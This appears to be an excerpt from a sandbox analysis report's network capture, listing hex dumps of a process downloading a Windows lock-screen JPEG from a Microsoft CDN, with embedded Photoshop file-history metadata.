51 c9 da 15 85 7b c4 aa fe ed bf e2 e8 e2 82 4e 1e 9f 34 db d3 bb 31 fa 28 d2 ff 00 f6 af d7 d0 49 22 f4 d4 4f 6b b7 67 bc 61 b2 9f fd 4b 8b e2 7d f9 74 c4 2f 89 44 16 c4 f5 f4 Data Ascii: LM~\|SVGt``V(I?t@:FyjyDGIKHylU{~\|!P1>h-f9H}$tD?{:,seEe0}d7r+5rL~7;\|L8EUGEr1O+?@~i5Gi`loiQ{N41(I"OkgaK}t/D
2022-07-20 17:31:07 UTC	6813	IN	Data Raw: dc bb 41 7b 2b 7b 56 46 bf 8b cc f7 9a 8a cc 6a 4d 54 bd 48 7a f7 4b 6e a3 8b 1e 4e 5c 9c cb 94 31 29 20 60 8c ff 00 81 1d d6 f2 9f d0 8f f2 df 83 5a a4 45 99 92 9b a7 c3 d2 84 93 18 9b 21 ad a2 07 dd 48 c9 f7 f2 c6 9b f3 59 ee d3 72 3f c4 d4 dd 3b 69 3c 4c e6 4d 07 cb 8e b8 38 bf 1f d5 f2 9b 1d 1c d2 08 e2 0b cd 7b 7b ca b1 fb 0d ef 79 36 b9 6d 89 4f 25 d3 fb f7 3a 29 5d 0d a6 56 76 26 64 83 03 a8 8b 27 0a 8e 18 d3 75 db d8 c5 91 2a 72 e2 87 37 73 8d 3c 17 f6 72 68 76 56 d1 9c d6 5f 02 a3 2f 3b 16 76 9a 1c 8b d6 12 f6 64 23 a5 89 24 94 f7 8b 25 ff 00 07 99 f8 19 7f f4 f9 5e 7e a5 e9 f4 fa 70 c8 40 07 4c e9 eb f2 cb 8e b1 85 3b 1c 39 6a 95 94 52 cd bb b0 49 c8 f8 89 79 de 1f 1d 9c 9b 35 55 b6 93 53 7a 3f 03 42 bf 34 cd d7 f0 65 8f 01 91 e6 25 bc 32 1a 8c Data Ascii: A{+{VFjMTHzKnN\1) `ZE!HYr?;i<LM8{{y6mO%:)]Vv&d'u*r7s<rhvV_/;vd#$%^~p@L;9jRIy5USz?B4e%2
2022-07-20 17:31:07 UTC	6829	IN	Data Raw: 9f 4e 80 38 23 b8 d0 76 e8 00 91 16 ed b4 1e b5 35 00 3c 44 ea 2d e2 fe ad 1a 00 f7 c4 68 d6 f7 a6 df a3 49 5a 76 10 d5 88 df 5a 6c d0 d8 13 45 8e 92 b5 b2 d6 9f 4e a5 b6 b6 01 d1 74 a5 ad 08 27 4a d9 44 d8 51 c3 0a 29 68 20 6c d7 3f b8 29 1a 9d 38 6e 96 1b 0f 93 b3 4d e7 17 23 8f d2 61 66 05 97 6d 35 3f d4 58 5c c3 55 37 42 10 28 00 03 f4 0d 73 bb 4e a4 36 70 e3 25 a4 11 5d 1c d8 86 b6 25 08 d8 02 9f f7 69 ab 8e 47 7c 0b 37 67 6e 8f 76 04 4c b8 41 86 d6 a1 03 b3 50 f2 c0 08 e0 2b 30 24 9a 0f a3 42 c8 c6 4e dd 3d 14 54 d7 f4 6b 3f 71 88 5f 0c 91 ad c3 b7 ff 00 0d 1c db 11 1b 3d 3b 3b 74 d2 01 82 5b 6b 53 aa 89 02 36 cc 55 60 07 6e ab 83 1c 05 c2 f7 6f 76 8d 46 c1 01 5c e0 37 08 a7 d4 74 13 03 1a 54 89 41 a8 24 f9 35 5b 8e 01 b9 ad 75 d4 dd f2 6a d2 2a 07 Data Ascii: N8#v5<D-hIZvZlENt'JDQ)h l?)8nM#afm5?X\U7B(sN6p%]%iG\|7gnvLAP+0$BN=Tk?q_=;;t[kS6U`novF\7tTA$5[uj*
2022-07-20 17:31:07 UTC	6845	IN	Data Raw: 0f 41 9d 44 b1 ba cc a7 be d2 13 f7 b7 a3 b7 55 25 3a b4 2f f4 7e 8d 9d 77 c3 51 d8 6c 25 58 4b 4f be d2 69 6a 26 be 27 71 fe 56 e9 f8 e4 1e 51 6a 79 e4 b0 fb bb ab a6 db 26 0a 5f 9c fa 1e 27 fa 74 f9 18 b1 05 91 2d 26 84 8a 0b 96 ff 00 0d 8d ba ce ce 11 50 79 63 1a 6b 31 1d 45 24 e8 60 10 aa 75 94 96 4c 12 d1 aa ab 28 69 1f 47 93 5d 08 91 97 9e c3 d9 aa 81 48 d1 2d cd 45 d3 81 48 6a b8 51 45 d6 65 8c 94 dc 6a 0e a9 09 91 9c 98 e2 1b c7 55 04 49 03 f5 88 e5 21 17 b3 eb d2 75 80 e4 03 24 c5 a4 36 9d 84 e8 80 91 0a 9d 02 0c 7c 0c 94 5b ac 3d 95 fe 8b a5 02 e4 0b 10 69 41 a0 26 9f 46 9c 04 92 88 1d c6 e2 b1 fe ad 10 29 1b f0 19 1b 69 1b 92 3d 13 a7 02 92 17 83 21 37 5e 36 0d f4 5a 74 40 49 18 c4 9f ca ac 3f a8 e9 81 32 f4 dc e3 c1 13 ff 00 b0 e9 c0 87 43 06 Data Ascii: ADU%:/~wQl%XKOij&'qVQjy&_'t-&Pyck1E$`uL(iG]H-EHjQEejUI!u$6\|[=iA&F)i=!7^6Zt@I?2C
2022-07-20 17:31:07 UTC	6853	IN	Data Raw: 3e f5 d0 33 b7 0d 20 16 ee 80 3a 2d a6 80 10 65 4e 1d 95 d3 dc 42 02 39 36 11 b7 48 06 3c 01 7b 06 80 2a 3a d7 40 c1 eb 49 66 62 6f 81 bb 22 ec 91 7e d7 bc 4f cb 97 4d 68 0d 49 e6 dd 77 e4 ec ae 86 79 e2 93 e3 54 52 45 1d 9e 8e 44 7e e7 fe 5f e6 6a f9 49 93 ac 15 13 65 91 b4 0a 13 fe ed 4a a1 2c 76 3f 52 91 63 e4 5c 6c 3e 4a f6 53 79 35 36 c4 a7 90 87 c7 98 e1 82 c9 b5 7e 83 a4 f1 af 00 0e 13 b1 88 3e 3b 1b 86 da 1d 61 c7 58 b0 89 7e 20 ce aa cd db 4d bf 51 ef 6a 38 f1 24 92 06 04 98 fc 84 53 f4 7a ba 9b 2f 12 42 1a 46 55 50 c4 9a 76 6b 34 84 34 4e 3b 6b a7 c4 0e c1 2a f3 09 5b aa 06 d0 7b 3c dd 2b 57 40 1f 7d 0d 17 b7 e8 d2 80 12 ce ce e6 3a 1a 8f 2e 8e 30 a4 06 c6 ca f2 18 8b 51 82 16 1f d5 dd d5 46 92 00 f2 cc ca d7 d7 e8 d5 aa c9 44 c3 2d a3 3b 0d 4e Data Ascii: >3 :-eNB96H<{:@Ifbo"~OMhIwyTRED~_jIeJ,v?Rc\l>JSy56~>;aX~ MQj8$Sz/BFUPvk44N;k[{<+W@}:.0QFD-;N

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	50589	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:06 UTC	617	OUT	GET /cms/api/am/imageFileData/RWQWjb?ver=0d90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:31:06 UTC	999	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWQWjb?ver=0d90 Last-Modified: Sun, 17 Jul 2022 16:00:08 GMT X-Source-Length: 1654594 X-Datacenter: northeu X-ActivityId: d4777862-1501-4083-b4dd-deadd8d1e830 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1654594 Cache-Control: public, max-age=167373 Expires: Fri, 22 Jul 2022 16:00:39 GMT Date: Wed, 20 Jul 2022 17:31:06 GMT Connection: close
2022-07-20 17:31:06 UTC	999	IN	Data Raw: ff d8 ff e1 09 c3 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 30 36 3a 32 34 20 31 34 3a 30 32 3a 33 39 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:06:24 14:02:398"
2022-07-20 17:31:06 UTC	1115	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 36 2d 30 36 2d 32 37 54 31 36 3a 32 38 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 74 61 72 54 72 65 6b 5c 53 74 61 72 54 72 65 6b 5f 53 70 61 63 65 53 6f 6d 62 72 65 72 6f 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 36 2d 32 37 54 31 36 3a 33 31 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 74 61 72 54 72 65 6b 5c 53 74 61 72 54 72 65 6b 5f 50 6c 75 74 6f 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 36 2d 32 37 54 31 Data Ascii: ed 2016-06-27T16:28:58-07:00 File C:\Users\v-lizagh\MS\Windows10\StarTrek\StarTrek_SpaceSombrero_1080x1920.jpg saved 2016-06-27T16:31:13-07:00 File C:\Users\v-lizagh\MS\Windows10\StarTrek\StarTrek_Pluto_1080x1920.jpg saved 2016-06-27T1
2022-07-20 17:31:06 UTC	1131	IN	Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 35 54 31 36 3a 35 35 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 Data Ascii: ile C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-08-05T16:55:04-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops
2022-07-20 17:31:06 UTC	1203	IN	Data Raw: 32 30 31 36 2d 30 38 2d 31 30 54 31 33 3a 34 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 41 6c 70 69 6e 65 5f 49 62 65 78 53 74 61 6e 64 69 6e 67 5f 35 30 30 70 78 5f 31 32 36 31 33 33 38 34 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 33 3a 34 34 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 Data Ascii: 2016-08-10T13:43:31-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_Alpine_IbexStanding_500px_126133845_1080x1920.jpg saved 2016-08-10T13:44:47-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch
2022-07-20 17:31:06 UTC	1633	IN	Data Raw: 2d 34 37 38 38 36 33 30 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 36 54 31 30 3a 31 35 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 30 37 31 37 36 31 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 36 54 31 30 3a 31 36 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f Data Ascii: -478863021_1080x1920.jpg saved 2016-09-26T10:15:44-07:00 File C:\Users\v-lizagh\MS\Windows10\FallEntertainment\FallEntertainment_GettyImages-540717610_1080x1920.jpg saved 2016-09-26T10:16:37-07:00 File C:\Users\v-lizagh\AppData\Roaming\Ado
2022-07-20 17:31:06 UTC	1688	IN	Data Raw: 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 30 38 54 30 30 3a 31 39 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 32 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 35 3a 35 34 2d 30 38 3a 30 30 Data Ascii: D1B7C38B8DF538ECD39C4CCFC.psb saved 2016-11-08T00:19:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2016-11-10T11:42:56-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-11-10T11:45:54-08:00
2022-07-20 17:31:06 UTC	1752	IN	Data Raw: 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 33 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 36 39 35 39 36 31 36 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 34 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 Data Ascii: xA;2016-11-23T15:33:18-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_shutterstock_369596168_1080x1920.jpg saved 2016-11-23T15:34:12-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch
2022-07-20 17:31:06 UTC	1808	IN	Data Raw: 61 67 65 73 2d 31 35 32 35 30 34 31 35 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 31 32 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 Data Ascii: ages-152504152_1080x1920.jpg saved 2017-01-30T14:12:50-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Edge-MSRewards-Movies_GettyImages-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved 20
2022-07-20 17:31:06 UTC	1871	IN	Data Raw: 31 37 2d 30 33 2d 30 37 54 31 31 3a 30 32 3a 32 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 34 37 35 37 37 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 30 35 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c Data Ascii: 17-03-07T11:02:21-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\MS-MakeWhatsNext_GettyImages-155475777_1080x1920.jpg saved 2017-03-07T11:05:25-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakeWhatsNext\CHOSEN\
2022-07-20 17:31:06 UTC	2293	IN	Data Raw: 53 45 4e 5c 52 6f 75 6e 64 31 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 33 36 39 38 35 37 36 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 34 30 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 35 30 30 70 78 2d 39 39 37 35 35 31 35 39 5f 31 30 38 30 78 31 39 32 30 32 46 45 36 32 33 31 35 34 44 37 45 34 31 30 36 34 39 45 31 37 30 43 31 32 35 Data Ascii: SEN\Round1\WindowsServicing_GettyImages-636985762_1080x1920.jpg saved 2017-03-27T12:40:24-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_WindowsServicing_500px-99755159_1080x19202FE623154D7E410649E170C125
2022-07-20 17:31:06 UTC	2593	IN	Data Raw: 45 4e 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 33 38 36 30 32 34 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 32 3a 30 35 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 33 32 30 30 37 34 5f 31 30 38 30 78 31 39 32 30 35 38 31 36 30 36 35 37 44 39 45 31 35 44 30 31 33 35 44 39 41 38 44 30 42 45 34 45 31 31 34 36 2e 70 Data Ascii: EN\WindowsInsider_GettyImages-563860243_1080x1920.jpg saved 2017-04-26T12:05:46-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_WindowsInsider_GettyImages-78320074_1080x192058160657D9E15D0135D9A8D0BE4E1146.p
2022-07-20 17:31:06 UTC	2609	IN	Data Raw: 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 52 68 79 73 5c 57 69 6e 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4f 72 79 78 4e 61 6d 69 62 69 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 36 36 38 32 39 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 30 37 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 Data Ascii: le C:\Users\v-lizagh\Dropbox (Aquent)\Rhys\Windows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_OryxNamibia_GettyImages-466668296_1080x1920.jpg saved 2017-05-25T22:07:12-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 20
2022-07-20 17:31:06 UTC	2617	IN	Data Raw: 65 2d 42 32 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 34 34 37 39 38 34 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 32 30 3a 32 36 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 4f 33 36 35 52 65 6e 65 77 61 6c 5c 4f 66 66 69 63 65 2d 42 32 5f 70 33 30 30 6d 37 39 38 30 38 39 66 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 32 30 3a 32 36 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 Data Ascii: e-B2_GettyImages-674479841_1080x1920.jpg saved 2017-06-11T20:26:07-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-O365Renewal\Office-B2_p300m798089f_1080x1920.psd saved 2017-06-11T20:26:22-07:00 File C:\Users\v-liza
2022-07-20 17:31:06 UTC	2633	IN	Data Raw: 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 54 56 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 35 39 32 32 39 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 30 54 31 31 3a 32 35 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4a 75 6c 79 2d 41 75 67 75 73 74 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 54 56 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 35 30 38 33 Data Ascii: n\Crops\MIT-FallEntertainmentTVMovies_GettyImages-177592299_1080x1920.jpg saved 2017-07-20T11:25:41-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\FallEntertainment\July-August\Chosen\Crops\MIT-FallEntertainmentTVMovies_GettyImages-485083
2022-07-20 17:31:06 UTC	2649	IN	Data Raw: 30 5c 43 6f 72 74 61 6e 61 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 38 30 35 35 34 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 35 35 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 